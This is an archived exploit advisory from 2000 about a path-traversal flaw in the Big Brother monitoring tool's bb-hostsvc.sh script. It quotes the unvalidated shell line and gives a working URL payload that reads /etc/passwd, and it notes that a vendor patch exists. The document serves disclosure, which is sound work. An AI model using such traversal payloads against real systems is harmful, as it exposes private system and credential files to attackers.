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bigbrother-1.4g.txt

bigbrother-1.4g.txt
Posted Jul 13, 2000
Authored by Safety

Big Brother v1.4g and below contains a vulnerability which allows a remote attacker to view any file on the system.

tags | exploit, remote
SHA-256 | f086e5bac79245e68ebce8c7eec3573aba8b9aae6fa0bc93db2738b30a313fb2

bigbrother-1.4g.txt

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/* Big Brother Exploit For ALL Versions prior to
* v.1.4h
*
* Desc: View the contents of any file on the remote
* system. Including /etc/passwd.
*
* Contributions: Identified and Proof of Concept by
* Safety@Linuxmail.ORG and Loki [LoA]
*
* Greets and shouts to: #smile, #Vastervik, Self, alucard, #RootHat, Lammie (The Infamous
* Lamagra! We know wuftpd was all about you bro!),
* InVader (you're totally elite), lockdown
* (stay elite man!), and Crimson (You're my hero!)
*
*
* Long Live The Empire of the Evil Cow People! MOO!
*/


The problem exists in the code where $HOSTSVC does not do authenticity
checking for its assigned variable.

---- snip ----
# get the color of the status from the status file
set `$CAT "$BBLOGS/$HOSTSVC" | $HEAD -1` >/dev/null 2>&1 BKG="$1"
---- snap ----

e.g. http://www.bb4.com/cgi-bin/bb-hostsvc.sh?HOSTSVC=/../../../../../../../../etc/passwd

BB4 Technologies has already been notified and a patch is already out.
It can be Downloaded from http://www.bb4.com/download.html

/* This exploit was found due to the mass intelligence and elite cow-people
* ingenious of Safety and his esteemed apprentice cow Loki.
*/ MOO!
--
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